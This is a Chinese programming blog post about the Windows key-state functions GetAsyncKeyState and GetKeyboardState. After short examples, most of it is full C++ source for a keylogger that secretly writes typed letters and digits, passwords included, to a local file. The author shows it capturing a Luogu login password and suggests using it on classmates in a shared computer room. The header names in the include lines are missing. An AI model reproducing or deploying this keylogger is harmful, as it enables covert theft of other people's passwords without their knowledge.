C++技术 - GetAsyncKeyState 与 GetKeyboardState 函数

C++技术 - GetAsyncKeyState 与 GetKeyboardState 函数

GetAsyncKeyState 与 GetKeyboardState 函数的介绍

SHORT GetAsyncKeyState( int vKey )

判断 Virtual-KeyCodes 为 vKey 的键是否 up 或 down。用返回值的最高位表示键的状态( up 或 down ),用返回值的最低位表示 vKey 键在此函数调用之前是否被按下过。

GetAsyncKeyState 直接侦测键盘的硬件中断。

BOOL GetKeyboardState( PBYTE lpKeyState )

获得所有的 256 256256 个键(键盘按键、鼠标按键等等)的状态, lpKeyState 是指向一个 256 256256 bit 的数组,存放所有键的状态。

GetAsyncKeyState 与 GetKeyboardState 函数的简单应用

GetAsyncKeyState 函数

通过该函数的介绍,我们可以将它分成两部分,一个是 KEY_UP ,另一个是 KEY_DOWN ,我们以是否检测到换行(即 Enter )为例:

KEY_UP

#include
#include
#define KEY_UP(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 0:1)
using namespace std;
int main() {
	while(1) {
		while(!KEY_UP(13)) {//Enter在Key Code中为13
			cout<<" Enter is on \n";
			Sleep(150);
		}
	}
	return 0;
}

KEY_DOWN

#include
#include
#define KEY_DOWN(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 1:0)
using namespace std;
int main() {
	while(1) {
		while(KEY_DOWN(13)) {//Enter在Key Code中为13
			cout<<" Enter is on \n";
			Sleep(150);
		}
	}
	return 0;
}

在上述程序中, KEY_UP 是当没有检测到 Enter 没有输入时才输出 " Enter is on " , KEY_DOWN 是当检测到 Enter 有输入时才输出 " Enter is on " 。

其实 KEY_UP 与 KEY_DOWN 是相反的,但为了方便理解,我们一般都使用 KEY_DOWN 。

GetKeyboardState 函数

该函数一般用来检测 CapsLock 或 NumLock 是否开启,但仅限于用在程序开启之前(因为程序打开后就只能靠 GetAsyncKeyState 检测了)。

我们以是否在程序开启前检测到 CapsLock 或 NumLock 为例:

#include
#include
using namespace std;
BYTE lpKeyState[256];
int main() {
	if (GetKeyboardState(lpKeyState) ) {
		printf(" CapsLock is %s\n", LOBYTE(lpKeyState[20]) ? "on " : "off ");
		//CapsLock在Key Code中为20
		printf(" NumLock is %s\n", LOBYTE(lpKeyState[144]) ? "on " : "off ");
		//NumLock在Key Code中为144
	}
	return 0;
}

GetAsyncKeyState 与 GetKeyboardState 函数的复杂应用

前言

Q:是否存在一种程序在程序打开之后,当在本机中输入某网页里的密码时,可以将密码显示在一个 OUT 文件 test 里。

A:只要你会应用 GetAsyncKeyState 与 GetKeyboardState 函数,那么这种事情是比较容易的。

做法

首先我们要知道当我们输入某网页里的密码常按的键有哪些,则上述问题即可转化为:

读入若干个键(包含字母键、数字键、 CapsLock 键、 NumLock 键、 Shift 键和删除键)形成的字符串,要求不能在程序中显示,需打印到一个 OUT 文件 test 里。

字母键

首先用 GetKeyboardState 函数预先检测 CapsLock 键是否开启,后期用 GetAsyncKeyState 函数检测 CapsLock 键是否改变,并用 KEY_DOWN 检测是否按下英文字母 26 2626 个键以及 Shift 键。

在 Shift 键下如果有 CapsLock 则输出小写字母,否则输出大写字母;在没有 Shift 键下如果有 CapsLock 则输出大写字母,否则输出小写字母。

数字键

分数字键和数字键盘上的数字键。

在数字键中直接用 KEY_DOWN 检测输出即可。

在数字键盘上的数字键需先用 GetKeyboardState 函数预先检测 NumLock 键是否开启,后期用 GetAsyncKeyState 函数检测 NumLock 键是否改变,并用 KEY_DOWN 检测到数字键盘上的数字键且 NumLock 已开启输出即可。

删除键

当检测到可以输出字符时,就用一个字符串存储该字符。

当检测到删除键时,刷新 OUT 文件 test ,并将该字符串最后一个字符删掉并输出即可。

#include//字符删除和字符输出需要的头文件
#include//文件创建需要的头文件
#include//字符删除需要的头文件
#include//GetAsyncKeyState与GetKeyboardState函数需要的头文件
#define KEY_DOWN(vKey) ((GetAsyncKeyState(vKey) & 0x8000) ? 1:0)
//GetAsyncKeyState函数中的KEY_DOWN
using namespace std;
int CapsLock,NumLock,Shift;//CapsLock键、NumLock键和Shift键的检测标记
string str;//字符存储
BYTE lpKeyState[256];//GetKeyboardState函数需要
int main() {
	freopen("test.out","w",stdout);//初始化文件,开始读入
	if (GetKeyboardState(lpKeyState) ) {//初始时检测CapsLock键和NumLock键
		CapsLock=LOBYTE(lpKeyState[20])?1:0;
		//检测CapsLock键是否已按,有就标记为1,否则标记为0
		NumLock=LOBYTE(lpKeyState[144])?1:0;
		//检测NumLock键是否已按,有就标记为1,否则标记为0
	}
	while(1) {
		while(KEY_DOWN(8)) {//检测删除键
			freopen("test.out","w",stdout);//刷新文件并读入
			if(str.size()!=0)//判断字符串是否是空串,如果是空串而继续删除,则会发生数组越界而程序错误
				str.erase(str.size()-1);//删除最后一个字符
			cout<<str;//输出字符串
			Sleep(150);
		}
		while(KEY_DOWN(20)) {//后期检测CapsLock键
			CapsLock=CapsLock==1?0:1;
			//检测CapsLock键是否改变,有就更该标记
			Sleep(150);
		}
		while(KEY_DOWN(144)) {//后期检测NumLock键
			NumLock=NumLock==1?0:1;
			//检测CapsLock键是否改变,有就更该标记
			Sleep(150);
		}
		while(KEY_DOWN(16)) {//检测到Shift键
			//在Shift键下如果有CapsLock则输出小写字母,否则输出大写字母
			while(KEY_DOWN('A')) {
				if(!CapsLock) cout<<'A',str+='A';
				else cout<<'a',str+='a';
				Sleep(150);
			}
			while(KEY_DOWN('B')) {
				if(!CapsLock) cout<<'B',str+='B';
				else cout<<'b',str+='b';
				Sleep(150);
			}
			while(KEY_DOWN('C')) {
				if(!CapsLock) cout<<'C',str+='C';
				else cout<<'c',str+='c';
				Sleep(150);
			}
			while(KEY_DOWN('D')) {
				if(!CapsLock) cout<<'D',str+='D';
				else cout<<'d',str+='d';
				Sleep(150);
			}
			while(KEY_DOWN('E')) {
				if(!CapsLock) cout<<'E',str+='E';
				else cout<<'e',str+='e';
				Sleep(150);
			}
			while(KEY_DOWN('F')) {
				if(!CapsLock) cout<<'F',str+='F';
				else cout<<'f',str+='f';
				Sleep(150);
			}
			while(KEY_DOWN('G')) {
				if(!CapsLock) cout<<'G',str+='G';
				else cout<<'g',str+='g';
				Sleep(150);
			}
			while(KEY_DOWN('H')) {
				if(!CapsLock) cout<<'H',str+='H';
				else cout<<'h',str+='h';
				Sleep(150);
			}
			while(KEY_DOWN('I')) {
				if(!CapsLock) cout<<'I',str+='I';
				else cout<<'i',str+='i';
				Sleep(150);
			}
			while(KEY_DOWN('J')) {
				if(!CapsLock) cout<<'J',str+='J';
				else cout<<'j',str+='j';
				Sleep(150);
			}
			while(KEY_DOWN('K')) {
				if(!CapsLock) cout<<'K',str+='K';
				else cout<<'k',str+='k';
				Sleep(150);
			}
			while(KEY_DOWN('L')) {
				if(!CapsLock) cout<<'L',str+='L';
				else cout<<'l',str+='l';
				Sleep(150);
			}
			while(KEY_DOWN('M')) {
				if(!CapsLock) cout<<'M',str+='M';
				else cout<<'m',str+='m';
				Sleep(150);
			}
			while(KEY_DOWN('N')) {
				if(!CapsLock) cout<<'N',str+='N';
				else cout<<'n',str+='n';
				Sleep(150);
			}
			while(KEY_DOWN('O')) {
				if(!CapsLock) cout<<'O',str+='O';
				else cout<<'o',str+='o';
				Sleep(150);
			}
			while(KEY_DOWN('P')) {
				if(!CapsLock) cout<<'P',str+='P';
				else cout<<'p',str+='p';
				Sleep(150);
			}
			while(KEY_DOWN('Q')) {
				if(!CapsLock) cout<<'Q',str+='Q';
				else cout<<'q',str+='q';
				Sleep(150);
			}
			while(KEY_DOWN('R')) {
				if(!CapsLock) cout<<'R',str+='R';
				else cout<<'r',str+='r';
				Sleep(150);
			}
			while(KEY_DOWN('S')) {
				if(!CapsLock) cout<<'S',str+='S';
				else cout<<'s',str+='s';
				Sleep(150);
			}
			while(KEY_DOWN('T')) {
				if(!CapsLock) cout<<'T',str+='T';
				else cout<<'t',str+='t';
				Sleep(150);
			}
			while(KEY_DOWN('U')) {
				if(!CapsLock) cout<<'U',str+='U';
				else cout<<'u',str+='u';
				Sleep(150);
			}
			while(KEY_DOWN('V')) {
				if(!CapsLock) cout<<'V',str+='V';
				else cout<<'v',str+='v';
				Sleep(150);
			}
			while(KEY_DOWN('W')) {
				if(!CapsLock) cout<<'W',str+='W';
				else cout<<'w',str+='w';
				Sleep(150);
			}
			while(KEY_DOWN('X')) {
				if(!CapsLock) cout<<'X',str+='X';
				else cout<<'x',str+='x';
				Sleep(150);
			}
			while(KEY_DOWN('Y')) {
				if(!CapsLock) cout<<'Y',str+='Y';
				else cout<<'y',str+='y';
				Sleep(150);
			}
			while(KEY_DOWN('Z')) {
				if(!CapsLock) cout<<'Z',str+='Z';
				else cout<<'z',str+='z';
				Sleep(150);
			}
		}
		//在没有Shift键下如果有CapsLock则输出大写字母,否则输出小写字母
		while(KEY_DOWN('A')) {
			if(CapsLock) cout<<'A',str+='A';
			else cout<<'a',str+='a';
			Sleep(150);
		}
		while(KEY_DOWN('B')) {
			if(CapsLock) cout<<'B',str+='B';
			else cout<<'b',str+='b';
			Sleep(150);
		}
		while(KEY_DOWN('C')) {
			if(CapsLock) cout<<'C',str+='C';
			else cout<<'c',str+='c';
			Sleep(150);
		}
		while(KEY_DOWN('D')) {
			if(CapsLock) cout<<'D',str+='D';
			else cout<<'d',str+='d';
			Sleep(150);
		}
		while(KEY_DOWN('E')) {
			if(CapsLock) cout<<'E',str+='E';
			else cout<<'e',str+='e';
			Sleep(150);
		}
		while(KEY_DOWN('F')) {
			if(CapsLock) cout<<'F',str+='F';
			else cout<<'f',str+='f';
			Sleep(150);
		}
		while(KEY_DOWN('G')) {
			if(CapsLock) cout<<'G',str+='G';
			else cout<<'g',str+='g';
			Sleep(150);
		}
		while(KEY_DOWN('H')) {
			if(CapsLock) cout<<'H',str+='H';
			else cout<<'h',str+='h';
			Sleep(150);
		}
		while(KEY_DOWN('I')) {
			if(CapsLock) cout<<'I',str+='I';
			else cout<<'i',str+='i';
			Sleep(150);
		}
		while(KEY_DOWN('J')) {
			if(CapsLock) cout<<'J',str+='J';
			else cout<<'j',str+='j';
			Sleep(150);
		}
		while(KEY_DOWN('K')) {
			if(CapsLock) cout<<'K',str+='K';
			else cout<<'k',str+='k';
			Sleep(150);
		}
		while(KEY_DOWN('L')) {
			if(CapsLock) cout<<'L',str+='L';
			else cout<<'l',str+='l';
			Sleep(150);
		}
		while(KEY_DOWN('M')) {
			if(CapsLock) cout<<'M',str+='M';
			else cout<<'m',str+='m';
			Sleep(150);
		}
		while(KEY_DOWN('N')) {
			if(CapsLock) cout<<'N',str+='N';
			else cout<<'n',str+='n';
			Sleep(150);
		}
		while(KEY_DOWN('O')) {
			if(CapsLock) cout<<'O',str+='O';
			else cout<<'o',str+='o';
			Sleep(150);
		}
		while(KEY_DOWN('P')) {
			if(CapsLock) cout<<'P',str+='P';
			else cout<<'p',str+='p';
			Sleep(150);
		}
		while(KEY_DOWN('Q')) {
			if(CapsLock) cout<<'Q',str+='Q';
			else cout<<'q',str+='q';
			Sleep(150);
		}
		while(KEY_DOWN('R')) {
			if(CapsLock) cout<<'R',str+='R';
			else cout<<'r',str+='r';
			Sleep(150);
		}
		while(KEY_DOWN('S')) {
			if(CapsLock) cout<<'S',str+='S';
			else cout<<'s',str+='s';
			Sleep(150);
		}
		while(KEY_DOWN('T')) {
			if(CapsLock) cout<<'T',str+='T';
			else cout<<'t',str+='t';
			Sleep(150);
		}
		while(KEY_DOWN('U')) {
			if(CapsLock) cout<<'U',str+='U';
			else cout<<'u',str+='u';
			Sleep(150);
		}
		while(KEY_DOWN('V')) {
			if(CapsLock) cout<<'V',str+='V';
			else cout<<'v',str+='v';
			Sleep(150);
		}
		while(KEY_DOWN('W')) {
			if(CapsLock) cout<<'W',str+='W';
			else cout<<'w',str+='w';
			Sleep(150);
		}
		while(KEY_DOWN('X')) {
			if(CapsLock) cout<<'X',str+='X';
			else cout<<'x',str+='x';
			Sleep(150);
		}
		while(KEY_DOWN('Y')) {
			if(CapsLock) cout<<'Y',str+='Y';
			else cout<<'y',str+='y';
			Sleep(150);
		}
		while(KEY_DOWN('Z')) {
			if(CapsLock) cout<<'Z',str+='Z';
			else cout<<'z',str+='z';
			Sleep(150);
		}
		//数字键无需检测NumLock是否开启,检测到数字键就直接输出
		while(KEY_DOWN('0')) {
			cout<<'0',str+='0';
			Sleep(150);
		}
		while(KEY_DOWN('1')) {
			cout<<'1',str+='1';
			Sleep(150);
		}
		while(KEY_DOWN('2')) {
			cout<<'2',str+='2';
			Sleep(150);
		}
		while(KEY_DOWN('3')) {
			cout<<'3',str+='3';
			Sleep(150);
		}
		while(KEY_DOWN('4')) {
			cout<<'4',str+='4';
			Sleep(150);
		}
		while(KEY_DOWN('5')) {
			cout<<'5',str+='5';
			Sleep(150);
		}
		while(KEY_DOWN('6')) {
			cout<<'6',str+='6';
			Sleep(150);
		}
		while(KEY_DOWN('7')) {
			cout<<'7',str+='7';
			Sleep(150);
		}
		while(KEY_DOWN('8')) {
			cout<<'8',str+='8';
			Sleep(150);
		}
		while(KEY_DOWN('9')) {
			cout<<'9',str+='9';
			Sleep(150);
		}
		//数字键盘上的数字键需检测NumLock是否开启,检测到数字键盘上的键需NumLock已开启才能输出
		while(KEY_DOWN('0'+48)&&NumLock) {
			cout<<'0',str+='0';
			Sleep(150);
		}
		while(KEY_DOWN('1'+48)&&NumLock) {
			cout<<'1',str+='1';
			Sleep(150);
		}
		while(KEY_DOWN('2'+48)&&NumLock) {
			cout<<'2',str+='2';
			Sleep(150);
		}
		while(KEY_DOWN('3'+48)&&NumLock) {
			cout<<'3',str+='3';
			Sleep(150);
		}
		while(KEY_DOWN('4'+48)&&NumLock) {
			cout<<'4',str+='4';
			Sleep(150);
		}
		while(KEY_DOWN('5'+48)&&NumLock) {
			cout<<'5',str+='5';
			Sleep(150);
		}
		while(KEY_DOWN('6'+48)&&NumLock) {
			cout<<'6',str+='6';
			Sleep(150);
		}
		while(KEY_DOWN('7'+48)&&NumLock) {
			cout<<'7',str+='7';
			Sleep(150);
		}
		while(KEY_DOWN('8'+48)&&NumLock) {
			cout<<'8',str+='8';
			Sleep(150);
		}
		while(KEY_DOWN('9'+48)&&NumLock) {
			cout<<'9',str+='9';
			Sleep(150);
		}
	}
	return 0;
}

后续

在 luogu 登录中输入密码(oyearvan114514thatsgood)就可以在 OUT 文件 test 里打印出来,如图:

(猎杀时刻)是时候用这个去诱惑你同机房睿智的同学了。。。

版权声明:本文为CSDN博主「luogu_yydfj」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/JG_DF_/article/details/119238168

你可能感兴趣的:(c++,字符串,后端)